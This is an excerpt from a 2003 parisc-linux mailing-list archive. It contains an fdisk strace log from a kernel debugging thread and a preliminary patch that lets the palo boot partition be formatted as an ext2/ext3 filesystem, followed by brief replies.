List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20019

This is a multi-part message in MIME format.
--------------060009030406010801000901
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Matthew Wilcox schrieb:

>So we've lost the top 32 bits of the value.  Can you run it under strace
>and tell me what ioctls fdisk is calling?  I bet it's calling BLKGETSIZE64
>and our put_user() is broken.
>
Yes, it's calling BLKGETSIZE64... Full Output of 'strace fdisk' is attached.

Greetings,
    Ruediger

--------------060009030406010801000901
Content-Type: text/plain;
 name="fdisk-2.6.log"
Content-Transfer-Encoding: 8bit
Content-Disposition: inline;
 filename="fdisk-2.6.log"


gandalf:~# strace fdisk /dev/sdb
execve("/sbin/fdisk", ["fdisk", "/dev/sdb"], [/* 14 vars */]) = 0
newuname({sys="Linux", node="gandalf", ...}) = 0
brk(0)                                  = 0x3a000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40018000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 35026, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40019000
close(3)                                = 0
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\1\365"..., 512) = 512
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 1446800, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40029000
mprotect(0x40172000, 99216, PROT_NONE)  = 0
mmap(0x40181000, 32768, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0x148000) = 0x40181000
mmap(0x40189000, 5008, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40189000
close(3)                                = 0
munmap(0x40019000, 35026)               = 0
open("/usr/lib/locale/locale-archive", O_RDONLY|O_LARGEFILE) = 3
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap2(NULL, 1860304, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4018b000
close(3)                                = 0
brk(0)                                  = 0x3a000
brk(0x5b000)                            = 0x5b000
brk(0)                                  = 0x5b000
open("/dev/sdb", O_RDWR|O_LARGEFILE)    = 3
read(3, "\200\0PALO\0\3\0\4\200\0\0)\323\375\0\0\0\0\0\0\0\0002"..., 512) = 512
newuname({sys="Linux", node="gandalf", ...}) = 0
ioctl(3, BLKSSZGET, 0xfaf004c8)         = 0
fstat64(3, {st_mode=0, st_size=6, ...}) = 0
ioctl(3, 0x301, 0xfaf004c8)             = 0
ioctl(3, BLKGETSIZE64, 0xfaf00530)      = 0
_llseek(3, 0, [0], SEEK_SET)            = 0
read(3, "\200\0PALO\0\3\0\4\200\0\0)\323\375\0\0\0\0\0\0\0\0002"..., 8192) = 8192
fstat64(1, {st_mode=0, st_size=5, ...}) = 0
ioctl(1, 0x40245410, {B9600 opost isig icanon echo ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40019000
write(1, "\n", 1
)                       = 1
open("/usr/share/locale/locale.alias", O_RDONLY) = 4
fstat64(4, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001a000
read(4, "# Locale name alias data base.\n#"..., 4096) = 2539
read(4, "", 4096)                       = 0
close(4)                                = 0
munmap(0x4001a000, 4096)                = 0
open("/usr/share/locale/de_DE@euro/LC_MESSAGES/util-linux.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale/de@euro/LC_MESSAGES/util-linux.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale/de_DE/LC_MESSAGES/util-linux.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale/de/LC_MESSAGES/util-linux.mo", O_RDONLY) = 4
fstat64(4, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 163630, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40352000
close(4)                                = 0
open("/usr/lib/gconv/gconv-modules.cache", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/lib/gconv/gconv-modules", O_RDONLY) = 4
fstat64(4, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001a000
read(4, "# GNU libc iconv configuration.\n"..., 4096) = 4096
read(4, ".B1.002//\nalias\tJS//\t\t\tJUS_I.B1."..., 4096) = 4096
read(4, "859-3\t1\nmodule\tINTERNAL\t\tISO-885"..., 4096) = 4096
read(4, "9-14//\nalias\tLATIN8//\t\tISO-8859-"..., 4096) = 4096
read(4, "CSEBCDICES//\t\tEBCDIC-ES//\nalias\t"..., 4096) = 4096
read(4, "IBM284//\nalias\tEBCDIC-CP-ES//\t\tI"..., 4096) = 4096
read(4, "ias\t864//\t\t\tIBM864//\nalias\tCSIBM"..., 4096) = 4096
read(4, "\tIBM937\t\t1\nmodule\tINTERNAL\t\tIBM9"..., 4096) = 4096
read(4, "UC-JP//\nmodule\tEUC-JP//\t\tINTERNA"..., 4096) = 4096
read(4, "143IECP271//\tIEC_P27-1//\nalias\tI"..., 4096) = 4096
read(4, "\nmodule\tINTERNAL\t\tISO_10367-BOX/"..., 4096) = 4096
read(4, "\t\tto\t\t\tmodule\t\tcost\nmodule\tShift"..., 4096) = 222
read(4, "", 4096)                       = 0
close(4)                                = 0
munmap(0x4001a000, 4096)                = 0
open("/usr/lib/gconv/ISO8859-15.so", O_RDONLY) = 4
read(4, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0\7"..., 512) = 512
fstat64(4, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 73040, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x4037a000
mprotect(0x4037c000, 64848, PROT_NONE)  = 0
mmap(0x4038b000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 4, 0x1000) = 0x4038b000
close(4)                                = 0
write(1, "Befehl (m f\374r Hilfe): ", 22Befehl (m fr Hilfe): ) = 22
fstat64(0, {st_mode=0, st_size=5, ...}) = 0
ioctl(0, 0x40245410, {B9600 opost isig icanon echo ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001a000
read(0, p
"p\n", 4096)                    = 2
write(1, "\n", 1
)                       = 1
write(1, "Platte /dev/sdb: 40 MByte, 40239"..., 41Platte /dev/sdb: 40 MByte, 40239104 Byte
) = 41
write(1, "134 K\366pfe, 62 Sektoren/Spuren, 9"..., 42134 Kpfe, 62 Sektoren/Spuren, 9 Zylinder
) = 42
write(1, "Einheiten = Zylinder von 8308 * "..., 53Einheiten = Zylinder von 8308 * 512 = 4253696 Bytes

) = 53
write(1, "    Ger\344t Boot      Start       "..., 63    Gert Boot      Start         End      Blocks   Id  System
) = 63
write(1, "/dev/sdb1   *           1       "..., 75/dev/sdb1   *           1           8       33201   f0  Linux/PA-RISC boot
) = 75
write(1, "/dev/sdb2               9       "..., 62/dev/sdb2               9          23       62310   83  Linux
) = 62
write(1, "/dev/sdb3              24       "..., 67/dev/sdb3              24          83      249240   82  Linux Swap
) = 67
write(1, "/dev/sdb4              84       "..., 66/dev/sdb4              84        1019     3888144   8e  Linux LVM
) = 66
write(1, "\n", 1
)                       = 1
write(1, "Befehl (m f\374r Hilfe): ", 22Befehl (m fr Hilfe): ) = 22
read(0, q
"q\n", 4096)                    = 2
close(3)                                = 0
write(1, "\n", 1
)                       = 1
munmap(0x40019000, 4096)                = 0
exit(0)                                 = ?
gandalf:~#

--------------060009030406010801000901--



From - Thu Nov 08 21:29:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Allow palo partition to be mounted as ext2
Date: 07 Nov 2003 19:13:55 -0600
Lines: 406
Approved: news@gmane.org
Message-ID: <1068254037.2120.93.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622936 1110 80.91.229.3 (22 Nov 2014 02:22:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:16 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Paul Bame <bame@riverrock.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  7 18:14:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 630844841
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Nov 2003 18:14:00 -0700 (MST)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id hA81DuY14951;
	Fri, 7 Nov 2003 20:13:56 -0500
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20020

It can be a bit of a pain having both a palo partition and a /boot
partition on the root disc (and both < 2GB), so this patch allows the
palo partition to be mounted as an ordinary ext2/ext3 filesystem
(ideally as /boot).

It does this by creating an ext2/3 filesystem in the palo partition but
leaving a hole for the iplboot program (by telling the filesystem the
blocks are bad).  The kernels can be booted from this filesystem by
specifying 0/ as the partition as usual.

Attached is a preliminary patch for you to see what you think.

Ultimately, it should mean we can get palo to operate much more like
grub (using a palo.conf file within the palo partition itself for
instance).

The diffs are against the palo cvs tree.

James

Index: ipl/ipl.c
===================================================================
RCS file: /var/cvs/palo/ipl/ipl.c,v
retrieving revision 1.32
diff -u -r1.32 ipl.c
--- ipl/ipl.c	13 Jan 2003 19:41:24 -0000	1.32
+++ ipl/ipl.c	8 Nov 2003 01:05:54 -0000
@@ -252,7 +252,7 @@
     int blocked_bootdev;
     int bootdev;
     int wide;
-    int kern_part, rd_part, i;
+    int kern_part, rd_part, i, ext2 = 0, f0;
     char kern_name[128], rd_name[128];
     char kern_fullname[128];
 
@@ -294,6 +294,11 @@
     printf("\n%s contains:\n",
 	partitioned ? "PALO(F0) partition" : "Boot image");
 
+    if(partitioned && f.version >= 4 && (f.flags & PFLAG_EXT2)) {
+	printf("PALO is formatted EXT2/3\n");
+	ext2 = 1;
+    }
+
     if (f.version < 3 && f.kern32_sz > 0)
     {
 	printf("    0/vmlinux %d bytes @ 0x%x\n", f.kern32_sz, f.kern32_offset);
@@ -392,16 +397,23 @@
     {
 	if (partition[i].id == 0xf0)
 	{
-	    if (kern_part == i + 1)
+	    f0 = i + 1;
+	    if (kern_part == f0)
 		kern_part = 0;
 
-	    if (rd_part == i + 1)
+	    if (rd_part == f0)
 		rd_part = 0;
 
 	    break;
 	}
     }
 
+    if (ext2 && kern_part == 0) {
+	kern_part = f0;
+	if(rd_part == 0)
+	    rd_part = f0;
+    }
+
     if (kern_part > 0 && !partitioned)
     {
 	printf("ERROR: Requesting kernel from partition %d "
@@ -507,7 +519,7 @@
 	struct diskpartition *pp;
 
 	if (kern_part >= MAXPARTS || 
-	    (partition[kern_part - 1].id != 0x83 && partition[kern_part - 1].id != 0xfd) )
+	    (partition[kern_part - 1].id != 0x83 && partition[kern_part - 1].id != 0xfd && partition[kern_part - 1].id != 0xf0) )
 	{
 	    printf("ERROR: Partition %d must be ext2\n", kern_part);
 	    while(1);
Index: lib/common.h
===================================================================
RCS file: /var/cvs/palo/lib/common.h,v
retrieving revision 1.24
diff -u -r1.24 common.h
--- lib/common.h	14 Jan 2003 20:32:44 -0000	1.24
+++ lib/common.h	8 Nov 2003 01:05:55 -0000
@@ -11,7 +11,7 @@
 #include <asm/byteorder.h>
 #include <linux/genhd.h>
 
-#define PALOVERSION "1.2"
+#define PALOVERSION "1.3"
 
 /* size of I/O block used in HP firmware */
 #define FW_BLOCKSIZE	2048
@@ -28,9 +28,10 @@
  * kern_sz = 0 or rd_sz = 0 means no kern or ramdisk respectively.
  */
 #define PALOMAGIC "PALO"
-#define PALOHDRVERSION 3
+#define PALOHDRVERSION 4
 
 #define PFLAG_INSTALL 0x1
+#define PFLAG_EXT2    0x2
 
 struct firstblock
 {
Index: palo/error.c
===================================================================
RCS file: /var/cvs/palo/palo/error.c,v
retrieving revision 1.6
diff -u -r1.6 error.c
--- palo/error.c	14 Jun 2001 19:39:58 -0000	1.6
+++ palo/error.c	8 Nov 2003 01:05:55 -0000
@@ -83,6 +83,13 @@
 	/* 17 */
 	"Too many of the same type of kernel.  %s is either the second\n"
 	"32-bit kernel or the second 64-bit one.\n",
+
+	/* 18 */
+	"For formatted palo partitions, you cannot specify a kernel\n"
+	"or a ramdisk.\n",
+
+	/* 19 */
+	"mke2fs failed."
 };
 
 #define NMESSAGES (sizeof errormessages / sizeof errormessages[0])
Index: palo/palo.c
===================================================================
RCS file: /var/cvs/palo/palo/palo.c,v
retrieving revision 1.16
diff -u -r1.16 palo.c
--- palo/palo.c	6 Aug 2002 15:22:14 -0000	1.16
+++ palo/palo.c	8 Nov 2003 01:05:56 -0000
@@ -17,6 +17,8 @@
 #include <string.h>
 #include <ctype.h>
 #include <sys/mman.h>
+#include <sys/types.h>
+#include <sys/wait.h>
 #if LONG_OPTIONS
 # define _GNU_SOURCE
 # include <getopt.h>
@@ -30,6 +32,7 @@
 static const char Id[] = "$Id: palo.c,v 1.12.4.1 2001/06/13 03:13:17 bame Exp $";
 
 static int Install = 0;
+int verbose = 0;
 
 /* compute the sum of words in an 4-byte aligned region */
 int
@@ -39,7 +42,7 @@
     int *x = (int *)p;
     int i;
 
-    if (0) printf("checksum(%p, %u) = ", p, len);
+    if (verbose) printf("checksum(%p, %u) = ", p, len);
     len /= 4;
 
     for (i = 0; i < len; i++)
@@ -47,7 +50,7 @@
 	xsum += B32(x[i]);
     }
 
-    if (0) printf("0x%08x\n", xsum);
+    if (verbose) printf("0x%08x\n", xsum);
 
     return (xsum);
 }
@@ -74,7 +77,7 @@
     int xsum;
     unsigned int *ipl;
 
-    if (0) printf("check_bootloader %d\n", line);
+    if (verbose) printf("check_bootloader %d\n", line);
 
     STRUCTREAD(media, f, 0);
 
@@ -173,9 +176,11 @@
 	error(12);
 
     /* make sure max size boot loader would fit */
-    if (where + MAXBLSIZE >= f0end)
+    if (where + MAXBLSIZE > f0end) {
+	printf("where %d, where+MAX=%d f0end=%d\n",
+	       where, where + MAXBLSIZE, f0end);
 	error(9);
-
+    }
     /* load the boot loader into RAM */
     rblsize = fsize(bootloader);
     assert((rblsize % FW_BLOCKSIZE) == 0);
@@ -425,6 +430,98 @@
 
 #define KSIZE (2 * 1024 * 1024)
 
+/* Blocksize for the ext2/3 fs in the palo partition */
+#define EXT2_BLOCKSIZE	1024
+
+/* size in ext2 blocks of hole for bootloader */
+#define EXT2_HOLE	((MAXBLSIZE + 1) / EXT2_BLOCKSIZE)
+
+/* offset in bytes before start of hole,  ext2 doesn't allow holes at
+ * to cover the first four blocks of the filesystem */
+#define EXT2_OFFSET	(4*EXT2_BLOCKSIZE)
+
+void
+do_formatted(int init, int media, const char *medianame, int partition,
+	     int f0start, int f0length, int bootloaderfd, int do_format,
+	     const char *commandline)
+{
+    char partitionname[256];
+    struct firstblock f;
+    int partitionfd;
+
+    /* FIXME: assuming we can simply add the partition to the end
+     * of the whole disc device isn't always true */
+    snprintf(partitionname, sizeof(partitionname), "%s%d", medianame,
+	     partition);
+
+    if ((partitionfd = open(partitionname, O_RDWR)) < 0) {
+	perror(partitionname);
+	exit(1);
+    }
+    close(partitionfd);
+
+    if (init) {
+	/* make the bootloader align at 256k */
+	unsigned int holestart = (f0start + 0x3ffff + EXT2_OFFSET) & ~0x3ffff;
+	unsigned int partition_offset = holestart - f0start;
+	char badblockfilename[256];
+	int fd, i;
+	char cmd[512];
+
+	if (verbose)
+	    printf("f0 partition starts %d, hole %d-%d, end %d\n",
+		   f0start, holestart, holestart + EXT2_HOLE*EXT2_BLOCKSIZE,
+		   f0start + f0length);
+
+	if(partition_offset + EXT2_HOLE > f0length)
+	    error(14, "bootloader");
+
+	sprintf(badblockfilename, "/tmp/paloblk-%d", getpid());
+	if ((fd = open(badblockfilename, O_RDWR | O_CREAT | O_TRUNC)) < 0) {
+	    perror(badblockfilename);
+	    exit(1);
+	}
+    
+	for (i = (holestart - f0start)/EXT2_BLOCKSIZE;
+	     i < (holestart - f0start)/EXT2_BLOCKSIZE + EXT2_HOLE; i++) {
+	    char buf[128];
+	    sprintf(buf, "%d\n", i);
+	    write(fd, buf, strlen(buf));
+	}
+
+	sprintf(cmd, "mke2fs %s -b %d -l %s %s", do_format == 3 ? "-j" : "",
+		EXT2_BLOCKSIZE, badblockfilename, partitionname);
+
+	if (verbose)
+	    printf("Executing: %s\n", cmd);
+	else
+	    strcat(cmd, " > /dev/null 2>&1");
+
+	i = system(cmd);
+	unlink(badblockfilename);
+
+	if(WEXITSTATUS(i) != 0)
+	    error(20);
+
+	
+
+	STRUCTREAD(media, f, 0);
+	fb_init(&f);
+	f.flags |= PFLAG_EXT2;
+
+	if(commandline)
+	    strcpy(f.cmdline, commandline);
+
+	write_bootloader(media, bootloaderfd, holestart,
+			 holestart + EXT2_HOLE*EXT2_BLOCKSIZE, &f);
+	
+	STRUCTWRITE(media, f, 0);
+
+    }
+
+	
+}
+
 void
 do_randomaccess(int init, int media, int kernel32, int kernel64,
 	const char *commandline, int bootloader, int ramdisk,
@@ -433,7 +530,7 @@
     struct firstblock f;
     int bstart = 0;
 
-    if (0) printf("do_ra(%d, %d, %d, %d, '%s', %d, %d, %u, %u)\n",
+    if (verbose) printf("do_ra(%d, %d, %d, %d, '%s', %d, %d, %u, %u)\n",
 	init, media, kernel32, kernel64, commandline, bootloader, ramdisk, f0start,
 	f0length);
 
@@ -552,9 +649,11 @@
     {"bootloader", 1, 0, 'b'},
     {"ramdisk", 1, 0, 'r'},
     {"init-partitioned", 1, 0, 'I'},
+    {"format-as", 1, 0, 'e'},
     {"update-partitioned", 1, 0, 'U'},
     {"init-tape", 1, 0, 's'},
     {"init-cdrom", 1, 0, 'C'},
+    {"verbose", 0, 0, 'v'},
     {"help", 0, 0, '?'},
     {0, 0, 0, 0}
 };
@@ -583,10 +682,10 @@
     char *bootloaderfile = "/usr/share/palo/iplboot";
     int init = 0;
     extern char *bld_info;
-    const char gargs[] = "f:C:s:b:k:c:r:I:?";
+    const char gargs[] = "f:C:s:b:k:c:r:I:e:v?";
     char *config_file = "/etc/palo.conf";
     char *newargv[MAXARGS];
-    int newargc;
+    int newargc, format_as = 0;
     FILE *fconfig;
 
     assert(sizeof (struct firstblock) == 2048);
@@ -720,6 +819,17 @@
 	    if (strlen(commandline) > 127)
 		error(3);
 	    break;
+	case 'e':
+	    if(strcmp(optarg, "2") == 0)
+		format_as = 2;
+	    else if(strcmp(optarg, "3") == 0)
+		format_as = 3;
+	    else
+		error(0, argv[0]);
+	    break;
+	case 'v':
+	    verbose = 1;
+	    break;
 	default:
 	    error(0, argv[0]);
 	    break;
@@ -787,13 +897,28 @@
 	    }
 	    if (f0 == MAXPARTS)
 		error(11);
-	    print_ptab_pretty(ptab, MAXPARTS);
+	    if(verbose) {
+		print_ptab_pretty(ptab, MAXPARTS);
 
-	    if (0) printf("F0 partition start sector %d length %d\n",
+		printf("F0 partition start sector %d length %d\n",
 		    ptab[f0].start, ptab[f0].length);
+	    }
 
-	    do_randomaccess(init, media, kernel32, kernel64, commandline, bootloader,
-		ramdisk, ptab[f0].start * 512, ptab[f0].length * 512);
+	    if (format_as) {
+		/* if we're going to be a formatted partition, we can't
+		 * load anything into it, so check we haven't been asked
+		 * to */
+		if(kernel32 != -1 || kernel64 != -1
+		   || ramdisk != -1)
+		    error(18);
+		printf("OK we're doing a format as ext%d\n", format_as);
+		do_formatted(init, media, medianame, f0 + 1,
+			     ptab[f0].start * 512, ptab[f0].length * 512,
+			     bootloader, format_as, commandline);
+	    } else
+		do_randomaccess(init, media, kernel32, kernel64, commandline,
+				bootloader, ramdisk, ptab[f0].start * 512,
+				ptab[f0].length * 512);
 	}
 	break;
     case CDROM:
Index: palo/usage.txt
===================================================================
RCS file: /var/cvs/palo/palo/usage.txt,v
retrieving revision 1.3
diff -u -r1.3 usage.txt
--- palo/usage.txt	6 Aug 2002 15:35:22 -0000	1.3
+++ palo/usage.txt	8 Nov 2003 01:05:56 -0000
@@ -46,6 +46,15 @@
 		When -f is not specified, palo tries /etc/palo.conf.  Use
 		--configfile=/dev/null to avoid configuration files or
 		warnings when /etc/palo.conf is missing.
+    -v, --verbose
+		Provide more verbose information when running palo
+    -e, --format-as=type
+		This is only for partitioned media:  Format the palo
+		partition as an ext2 (type == 2) or ext3 (type == 3)
+		partition.  With this option, you cannot specify
+		any parameters, kernels or ramdisks to be loaded into
+		the palo partition
+		
 
 'palo' with no arguments whatsoever is equivalent to 'palo -f /etc/palo.conf'.
 



From - Thu Nov 08 21:29:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Fri, 7 Nov 2003 18:59:46 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20031108015946.GC19436@colo.lackof.org>
References: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk> <3F969FFE000092BD@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622936 1114 80.91.229.3 (22 Nov 2014 02:22:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:16 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  7 18:59:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12A794841
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Nov 2003 18:59:48 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 52CDA29803E; Fri,  7 Nov 2003 18:59:47 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 19171-10; Fri, 7 Nov 2003 18:59:46 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AFA7A298037; Fri,  7 Nov 2003 18:59:46 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3F969FFE000092BD@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20021

On Fri, Nov 07, 2003 at 06:52:58PM +0100, Joel Soete wrote:
> > [...] I bet it's calling BLKGETSIZE64 and our put_user() is broken.
> 
> I trusted that Grant merged the same code in 2.4 and 2.6 for put_user() some
> time ago?

put_user()?
I don't recall.

> Is it the same with 64bits kernels?

Can you point me at the modified 2.4 file and I'll check.

thanks,
grant


From - Thu Nov 08 21:29:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Allow palo partition to be mounted as ext2
Date: Sat, 8 Nov 2003 04:12:44 +0000 (GMT)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311080401180.19538@sal.ucc.ie>
References: <1068254037.2120.93.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622937 1116 80.91.229.3 (22 Nov 2014 02:22:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:17 +0000 (UTC)
Cc: Paul Bame <bame@riverrock.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  7 21:12:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A3154841
	for <parisc-linux@lists.parisc-linux.org>; Fri,  7 Nov 2003 21:12:48 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id hA84CkOP009226;
	Sat, 8 Nov 2003 04:12:46 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <1068254037.2120.93.camel@mulgrave>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20022

On Sat, 7 Nov 2003, James Bottomley wrote:

> It can be a bit of a pain having both a palo partition and a /boot
> partition on the root disc (and both < 2GB), so this patch allows the
> palo partition to be mounted as an ordinary ext2/ext3 filesystem
> (ideally as /boot).

Well, not if you have read the FAQ ;)
But I agree, I recently assisted someone (via IRC) reinstalling
his 712, because he forgot to create a F0 partition, but he
created a /boot in the first 2GB.

> It does this by creating an ext2/3 filesystem in the palo partition but
> leaving a hole for the iplboot program (by telling the filesystem the
> blocks are bad).  The kernels can be booted from this filesystem by
> specifying 0/ as the partition as usual.

